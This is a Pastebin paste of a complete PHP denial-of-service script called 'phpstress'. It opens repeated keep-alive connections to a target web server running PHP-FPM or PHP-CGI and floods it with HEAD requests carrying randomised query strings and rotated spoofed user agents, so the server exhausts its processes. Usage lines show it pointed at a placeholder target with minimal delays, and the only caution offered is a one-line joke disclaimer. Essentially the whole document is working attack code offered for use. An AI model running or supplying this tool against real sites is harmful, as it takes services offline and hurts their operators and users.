Advertisement
Fromubiz

phpstress

Jan 21st, 2017
149
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 19.12 KB | None | 0 0
  1. <?php
  2. #!/usr/bin/php
  3. /*
  4.  
  5. File: phpstress.php
  6. Written by: d4rk0  / @d4rk0s
  7. Concept by: Vinny Troia / @VinnyTroia
  8. Night Lion Security (http://www.nightlionsecurity.com)
  9. ---------------------------------------------------------------------
  10. Description:
  11.     This is a light-weight low-bandwidth required PHP script that creates
  12.     a type of denial of service on a Linux-based Apache or NGINX web server
  13.     that process PHP content with PHP-CGI (fcgid) or PHP-FPM (Apache or NGINX).
  14.     The script will create a number of fake PHP connections, causing the server
  15.     to quickly launch additional processes to meet the new demand. In addition,
  16.     the server's connections are kept open (via keep-alive), causing the server
  17.     to quickly run out of resources.
  18.  
  19.     In order to completely max out the server's
  20.     resources, the script's delay parms need to both be set to 0.
  21.  
  22.     For more information, please view the complete post at
  23.     http://www.nightlionsecurity.com/blog/
  24. ----------------------------------------------------------------------
  25. Disclaimer:
  26.     Don't be a dick.
  27. ----------------------------------------------------------------------
  28. Usage:
  29.     php phpstress.php http://www.target.com/?r=%r% -m 1000000000 -k Y -c 150 -d 0.5 -r 0.01
  30.  
  31.     OR
  32.  
  33.     php phpstress.php www.target.com/wp-content/?r=%r%
  34.  
  35.     Socks Proxy: * NOT IN ALPHA VERSION
  36.     -s = Y or N / 127.0.0.1:9050 Username:Pw
  37.            Default is N leaving out Username:Pw means there is no Username and Password
  38.            Edit the phpstress.socks file if you want to use a socks proxy
  39. ----------------------------------------
  40. Commands:
  41.     Target URL picking a resource intense page and inserting %r where the GET variables data is will generate random chars
  42.  
  43.     -m  = Maximum requests not specifying this will leave it at a large default number to exit script on
  44.           *nix flavored simply press control c to kill the program and exit or whatever TTY command you have setup
  45.           to exit a program on command line
  46.            Default value is 1000000000
  47.  
  48.     -k  = Y or N  Keep Alive Check will check if Server uses the Keep-Alive Option to keep the connection alive
  49.            Default value is Y            
  50.  
  51.     -c = Maximum Request Per Connection each connection opened will then request D number of times
  52.            Default value of 150
  53.    
  54.     -d = Delay Between Connections The number of seconds to delay between opening a new connection.
  55.            Default value: 0.5
  56.    
  57.     -r = Delay Between Requests The number of seconds to delay between outgoing requests.
  58.            Default value: 0.04
  59.  
  60. */
  61. // BEGIN SCRIPT
  62. error_reporting(0);
  63. // make sure script has no time limit for execution
  64. set_time_limit(0);
  65.  
  66.  
  67. /*
  68.  Randomly pick a UserAgent for deployment on page request
  69.  PARAM: None
  70.  RETURN: returns a random user agent string
  71. */
  72. function userAgentRand(){
  73.  
  74.   // lets create our array with random user agents
  75.   $userArray = array("Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7",
  76. "Mozilla/5.0 (Windows; U; Windows NT 5.1; RW; rv:1.8.0.7) Gecko/20110321 MultiZilla/4.33.2.6a SeaMonkey/8.6.55",
  77. "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:1.8.0.7) Gecko/20110321 MultiZilla/4.33.2.6a SeaMonkey/8.6.55",
  78. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-us) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",
  79. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-gb) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",
  80. "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; de-de) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",
  81. "Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)",
  82. "Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)".
  83. "Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)",
  84. "Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  85. "Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)",
  86. "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)",
  87. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36",
  88. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36",
  89. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 Safari/537.36 Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10".
  90. "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36",
  91. "Mozilla/5.0 (Windows NT 5.2; RW; rv:7.0a1) Gecko/20091211 SeaMonkey/9.23a1pre",
  92. "Mozilla/5.0 (Windows NT 5.2; RW; rv:7.0a1) Gecko/20091211 SeaMonkey/9.23a1pre");
  93.  
  94.  
  95.   // Lets shuffle our array
  96.   shuffle($userArray);
  97.   // count how many user agents in array
  98.   $count = count($userArray);
  99.   // minus one to adjust starting at 0
  100.   $count = mt_rand(0,$count-1);
  101.   // return "Random" User Agent
  102.   return $userArray[$count];
  103.  
  104. }
  105.  
  106.  
  107.  
  108.  
  109. /*
  110.  Function used for adding random string to request urls
  111.  PARAM: none
  112.  RETURN: returns random string of chars
  113. */
  114. function quick_rand(){
  115.   $rand_string = "";
  116.   $letters = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z");
  117.   for($i=0;$i<mt_rand(5,16);$i++){
  118.     $rand_string.=$letters[array_rand($letters)];
  119.   }
  120.   return($rand_string);
  121. }
  122.  
  123.  
  124.  
  125. /*
  126.  Parse the target URL to return the host, path and query
  127.  PARAM: the URL string to be parsed
  128.  RETURN: returns an array of host path & query
  129. */
  130. function parseUrl($target_url){
  131.  
  132.  
  133.  
  134.   $t = "";
  135.   $t = strpos($target_url,'http://');
  136.   if ($t === false) {
  137.     $target_url = "http://". $target_url;
  138.   }
  139.  
  140.   $target_url_parsed = parse_url($target_url);
  141.  
  142.   $target_url = array();
  143.   $target_url['scheme'] = $target_url_parsed['scheme'];
  144.   $target_url['host'] = $target_url_parsed['host'];
  145.   $target_url['path'] = $target_url_parsed['path'];
  146.   $target_url['query'] = $target_url_parsed['query'];
  147.   $target_url['port'] = $target_url_parsed['port'];
  148.  
  149.   if(!$target_url['path']){
  150.     $target_url['path'] = '/';
  151.   }
  152.  
  153.   if(!$target_url['port']){
  154.     $target_url['port'] = 80;
  155.   }
  156.  
  157.   if ($target_url['scheme']){
  158.     // return Parsed Array for Deployment and usage
  159.     return $target_url;
  160.   }else{
  161.     // return proper url array
  162.     $target_url['host'] = "http://". $target_url['host'];
  163.     return $target_url;
  164.   }
  165.  
  166.  
  167. }
  168.  
  169.  
  170.  
  171. /*
  172.  Check Query if none just append path if both append path + query
  173.  PARAM: the parsed array of target url
  174.  RETURN: return appended array
  175. */
  176. function checkQuery($target_url){
  177.  
  178.   if($target_url['query']){
  179.    $request_url = $target_url['path']."?".$target_url['query'];
  180.   } else {
  181.    $request_url = $target_url['path'];
  182.   }
  183.   // return request url
  184.   return $request_url;
  185. }
  186.  
  187.  
  188. /*
  189.  check if user is launching this from command line or browser
  190.  PARAM: none
  191.  RETURN: return 1=browser or 0=command line
  192. */
  193. function checkCommandLine(){
  194.   if(defined('STDIN')){
  195.    $num = 0;
  196.   }else{
  197.     $num = 1;
  198.   }
  199.   return $num;
  200. }
  201.  
  202.  
  203.  
  204. /*
  205.  Check if the remote host supports Keep-Alive
  206.  PARAM: parsed target URL
  207.  RETURN: either keep-alive or server doesn't support keep alive string
  208. */
  209. function keepAlive($target_url){
  210.  
  211.   // Grab random user agent
  212.   $useragent = userAgentRand();
  213.  
  214.   // Send request with Keep-Alive header
  215.   $socket = fsockopen($target_url['host'], $target_url['port'], $errno, $errstr, 3);
  216.   // if connection cant open
  217.   if(!$socket){
  218.     die("Uh-oh: Failed to open a connection to ".$target_url['host']." on port ".$target_url['port']."\n\n");
  219.   }
  220.  
  221.  
  222.  
  223.   // lets build payload for keep-alive check
  224.   $request = "HEAD / HTTP/1.1\r\nHOST: ".$target_url['host']."\r\nUser-Agent: ".
  225.   $useragent."\r\nConnection: Keep-Alive\r\n\r\n";
  226.  
  227.  
  228.   fwrite($socket, $request);
  229.   $reply = "";
  230.   // loop until end of buffer and socket stream
  231.   while (!feof($socket)){
  232.  
  233.     $buffer=fgets($socket, 128);
  234.     $reply.=$buffer;
  235.  
  236.     //Watch for end of reply and close socket/break out of loop
  237.     if($buffer == "\r\n"){
  238.       fclose($socket); break;
  239.     }
  240.   }
  241.  
  242.  
  243.   //Check if the reply to our above request includes 'Connection: close
  244.   if(strpos($reply, "Connection: close")){
  245.    return "NO:KEEP-ALIVE";
  246.   }else{ return "KEEP-ALIVE"; }  
  247.  
  248.  
  249. }
  250.  
  251.  
  252. /*
  253.  This is the actual attack that will test the stress on the server
  254. PARAM: target_url , request url , max requests , max request per connection
  255. RETURN: returns TRUE
  256. */
  257. function sendphpstress($target_url,$request_url,$mr,$mpc,$dbr,$dbc){
  258.  
  259.   // max requests divided by max requests per connection
  260.   $max_connections = ceil($mr / $mpc);
  261.  
  262.   echo "[!] To exit press control C or whatever TTY options are set to exit command line program\n\n\n";
  263.   // lets loop through connections
  264.   for($c=0;$c<$max_connections;$c++){
  265.  
  266.     echo "Opening connection [".($c+1)."] to ".$target_url['host']."..";
  267.     @$attack_socket = fsockopen($target_url['host'], $target_url['port'], $errno, $error, 3);
  268.  
  269.     // cant open socket display fail
  270.     if(!$attack_socket){
  271.       echo "failed (".$error.")"."\n";
  272.     } else {
  273.  
  274.       // Success lets send out connections
  275.       echo "success"."\n"."Sending requests: |";
  276.  
  277.       //Stay within our max_requests_per_connection limit
  278.       for($r=0;$r<$mpc;$r++){
  279.         // grab a ran user agent
  280.         $useragent = userAgentRand();
  281.  
  282.         // build payload for attack
  283.         $request = "HEAD ".str_replace("%r%", quick_rand(), $request_url)." HTTP/1.1\r\nHOST: ".$target_url['host']."\r\nUser-Agent: ".$useragent."\r\nConnection: Keep-Alive\r\n\r\n";
  284.  
  285.         // write socket and make connection        
  286.         @fwrite($attack_socket, $request);
  287.  
  288.         echo ".";
  289.  
  290.         // Delay between requests 1 second requests
  291.         usleep($dbr * 1000000);
  292.  
  293.       }
  294.  
  295.     echo "|"."\n";
  296.  
  297.   }
  298.  
  299.   @fclose($attack_socket);
  300.  
  301.   echo "Closed connection"."\n";
  302.   // amount of time to delay between connections
  303.   usleep($dbc * 1000000);
  304.  
  305.  }
  306.  
  307.  return True;
  308.  
  309. }
  310.  
  311.  
  312.  
  313. /*
  314.  This function takes all the commands and outputs them strips them and gets them ready for proper use
  315. PARAM: the argv array of commands to be processed
  316. RETURN: returns processed array or FALSE for error
  317. */
  318. function inputCommand($commands){
  319.  
  320.   // Take Commands Being Passed return values as array
  321.   $outputCommand = array();
  322.   // count number of commands for loop
  323.   $count = count($commands);
  324.  
  325.   // loop through commands 
  326.   for ($d = 0; $d < $count; $d++){
  327.     // lets build commands
  328.     switch ($commands[$d]){
  329.  
  330.       // Display help list of commands and exit        
  331.       case "--help":   
  332.         return "HELP";
  333.       // Display help list of commands and exit                  
  334.       case "-":
  335.         return "HELP";
  336.  
  337.       // socks proxy               
  338.       case "-s":   
  339.         $outputCommand[] = "-s";
  340.         // Grab Type /////////////////
  341.         $new_number = $d++;
  342.         $value = $commands[$d];
  343.         $outputCommand[$new_number] = $value; // Append data to Array  
  344.         break;
  345.  
  346.  
  347.       // target
  348.       case "-t":           
  349.         $outputCommand[] = "-t";
  350.         // Grab Type /////////////////
  351.         $new_number = $d++;
  352.         $value = $commands[$d];
  353.         $outputCommand[$new_number] = $value; // Append data to Array  
  354.         // Grab Target ////////////////
  355.         break;
  356.    
  357.       // maximum requests
  358.       case "-m":           
  359.         $outputCommand[] = "-m";
  360.         // Grab Type /////////////////
  361.         $new_number = $d++;
  362.         $value = $commands[$d];
  363.         $outputCommand[$new_number] = $value; // Append data to Array  
  364.         // Grab Target ////////////////
  365.         break;
  366.  
  367.       // keep alive yes or no
  368.       case "-k":           
  369.         $outputCommand[] = "-k";
  370.         // Grab Type /////////////////
  371.         $new_number = $d++;
  372.         $value = $commands[$d];
  373.         $outputCommand[$new_number] = $value; // Append data to Array  
  374.         break;
  375.  
  376.       // maximum request per connection
  377.       case "-c":           
  378.         $outputCommand[] = "-c";
  379.         // Grab Type /////////////////
  380.         $new_number = $d++;
  381.         $value = $commands[$d];
  382.         $outputCommand[$new_number] = $value; // Append data to Array  
  383.         break;
  384.  
  385.       // delay between connections     
  386.       case "-d":           
  387.         $outputCommand[] = "-d";
  388.         // Grab Type /////////////////
  389.         $new_number = $d++;
  390.         $value = $commands[$d];
  391.         $outputCommand[$new_number] = $value; // Append data to Array  
  392.         break;
  393.  
  394.       // delay between requests
  395.       case "-r":           
  396.         $outputCommand[] = "-r";
  397.         // Grab Type /////////////////
  398.         $new_number = $d++;
  399.         $value = $commands[$d];
  400.         $outputCommand[$new_number] = $value; // Append data to Array  
  401.         break;
  402.  
  403.          
  404.        
  405.     }
  406.  
  407.   }
  408.  
  409.   // return array with results
  410.   return $outputCommand;
  411.  
  412.  
  413.  
  414. }
  415.  
  416. /*
  417.  Check if we are on command line or not
  418. PARAM: NONE
  419. RETURN: NONE exits if true
  420. */
  421. function commandLineCheck(){
  422.   // Check if not command line exit dont do anything
  423.   if ($num = checkCommandLine() === 1){
  424.     // return error to user and quit script
  425.     echo "<h1><B>Error: phpstress only runs from command line prompt</b></h1>";
  426.     exit(0);
  427.   }
  428.  
  429. }
  430.  
  431.  
  432. /*
  433.  Displays the Help menu showing all available program commands
  434. PARAM: NONE
  435. RETURN: NONE exits
  436. */
  437. function displayHelp(){
  438.     echo "    
  439. PHPStress 1.0
  440. Usage: php phpstress.php [url] [options]
  441.  
  442. OPTIONS:
  443. -t: Target URL picking a resource intense page and inserting %r
  444.    where the GET variables data is will generate random chars
  445.        
  446. -m: Maximum requests not specifying this will leave it at a large default number
  447.    Default value is 1000000000
  448.  
  449. -k: Keep Alive Check will check if Server uses the Keep-Alive Option
  450.    to keep the connection alive (Y or N)  
  451.    Default value is Y            
  452.  
  453. -c: Maximum Request Per Connection each connection opened will
  454.    then request D number of times
  455.    Default value of 150
  456.  
  457. -d: Delay Between Connections - The number of seconds to delay
  458.    between opening a new connection.
  459.    Default value: 0.5
  460.  
  461. -r: Delay Between Requests The number of seconds to delay between
  462.    outgoing requests
  463.    Default value: 0.04 \n\n";
  464.     exit(0);
  465.  
  466. }
  467.  
  468.  
  469. /// END FUNCTIONS BEGIN ACTUAL SCRIPT
  470. //*********************************************************
  471. // check if on command line
  472. commandLineCheck();
  473.  
  474.  
  475. // sleep for a couple seconds before going
  476. //echo "  [X] Processing Commands Now lets begin Attack.";
  477. //@usleep(1000666);
  478.  
  479. // check if arguments on commmand line are present
  480. if (isset($argv[1])) {
  481.   // Process commands now
  482.   $results = inputCommand($argv);
  483.   // display help
  484.   if ($results === "HELP"){
  485.     // display help
  486.     displayHelp();
  487.   }
  488.  
  489.  
  490.   // Set  counter Values
  491.   $d = 0;
  492.   $num = "";
  493.   /////////////////////
  494.   // Set Program Default Variables
  495.   $target_url = "";
  496.   $socks = "n";
  497.   $k = "y";
  498.   $mr = 10000000;
  499.   $mpc = 150;
  500.   $dbr = 0.02;
  501.   $dbc = 0.7;
  502.  
  503.  
  504.  
  505.  
  506.   // lets assign all variables now and get ready for attack
  507.   foreach($results as $key=>$com){
  508.  
  509.     // Socks proxy default N
  510.     if ($com == "-s"){
  511.       $r = $key;
  512.       if ($r == 0){ $r++;$r++; }else{
  513.       $r++;}
  514.       $socks = $results[$r];
  515.     }
  516.     // Maximum requests Default is 100000000
  517.     if ($com == "-m"){
  518.       $r = $key;
  519.       if ($r == 0){ $r++;$r++; }else{
  520.       $r++;}
  521.       $mr = $results[$r];
  522.     }
  523.     // Check is server keep alive? default is Y
  524.     if ($com == "-k"){
  525.       $r = $key;
  526.       if ($r == 0){ $r++;$r++; }else{
  527.       $r++;}
  528.       $k = $results[$r];
  529.     }
  530.     // Max request per connection
  531.     if ($com == "-c"){
  532.       $r = $key;
  533.       if ($r == 0){ $r++;$r++; }else{
  534.       $r++;}
  535.       $mpr = $results[$r];
  536.     }
  537.     // delay between connections
  538.     if ($com == "-d"){
  539.       $r = $key;
  540.       if ($r == 0){ $r++;$r++; }else{
  541.       $r++;}
  542.       $dbc = $results[$r];
  543.     }
  544.     // delay between requests
  545.     if ($com == "-r"){
  546.       $r = $key;
  547.       if ($r == 0){ $r++;$r++; }else{
  548.       $r++;}
  549.       $dbr = $results[$r];
  550.     }
  551.   }
  552.  
  553.  
  554.   // append url now
  555.   $target_url = $argv[1];
  556.  
  557.   // Lets now check and set Default values
  558.   if (($target_url == "") || empty($target_url)){
  559.     // Error no Target URL set
  560.     echo "   [!]  ERROR: No Target URL set. \n";
  561.     exit(0);
  562.   }
  563.  
  564.  
  565.   // Socks check now  
  566.   if ((strtolower($socks) == "n") || (strtolower($socks) == "y")){}else{
  567.     // error socks is either a n or y question
  568.     echo "   [!]  ERROR: Socks is either a [y]es or [n]o question\n\n";
  569.     exit(0);
  570.   }
  571.  
  572.   // keep alive
  573.   if (strtolower($k) != "n" || strtolower($k) != "y"){}else{
  574.     // error socks is either a n or y question
  575.     echo "   [!]  ERROR: Keep Alive is either a [y]es or [n]o question\n";
  576.     exit(0);
  577.   }
  578.  
  579.   // Max request check now
  580.   if ((is_numeric($mr)) || ($mr != "") || (!empty($mr))){}else{
  581.     // error max request is not a number
  582.     echo "   [!]  ERROR: Max Request must be a valid number. Default is 100000000\n";
  583.     exit(0);
  584.   }  
  585.  
  586.   // Max per connection
  587.   if ((is_numeric($mpc)) || ($mpc != "") || (!empty($mpc))){}else{
  588.     // error max request is not a number
  589.     echo "   [!]  ERROR: Max Request Per Connection is invalid. Default is 150\n";
  590.     exit(0);
  591.   }  
  592.  
  593.   // Delay between request
  594.   if ((is_numeric($dbr)) || ($dbr != "") || (!empty($dbr))){}else{
  595.     // error
  596.     echo "   [!]  ERROR: Delay between requests is invalid. Default is 0.04 seconds. \n";
  597.     exit(0);
  598.   }  
  599.  
  600.   // Delay between connections
  601.   if ((is_numeric($dbc)) || ($dbc != "") || (!empty($dbc))){}else{
  602.     // error
  603.     echo "   [!]  ERROR: Delay between connections is invalid. Default is 0.5 seconds. \n";
  604.     exit(0);
  605.   }  
  606.  
  607. }else{
  608.   // display help
  609.   displayHelp();
  610.   exit(0);
  611. }
  612.  
  613.  
  614.  
  615. // parse target url return a parsed array
  616. $target_url = parseUrl($target_url);
  617. // check if query empty or not empty
  618. $request_url = checkQuery($target_url);
  619.  
  620.  
  621. if ($k == "y"){
  622.   // check if server supports keep-alive make sure its a parsed target url
  623.   $keepAlive = keepAlive($target_url);
  624.   // Switch to check results if server keeps alive
  625.   switch ($keepAlive){
  626.     case "NO:KEEP-ALIVE":
  627.       $mpc = 1;
  628.       break;
  629.     case "KEEP-ALIVE":
  630.       $mpc = 100;
  631.       break;
  632.   }
  633. }
  634.  
  635.  
  636.  
  637. // send out payloads and connection
  638. sendphpstress($target_url,$request_url,$mr,$mpc,$dbr,$dbc);
  639.  
  640.  
  641.  
  642. // EOF
  643. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement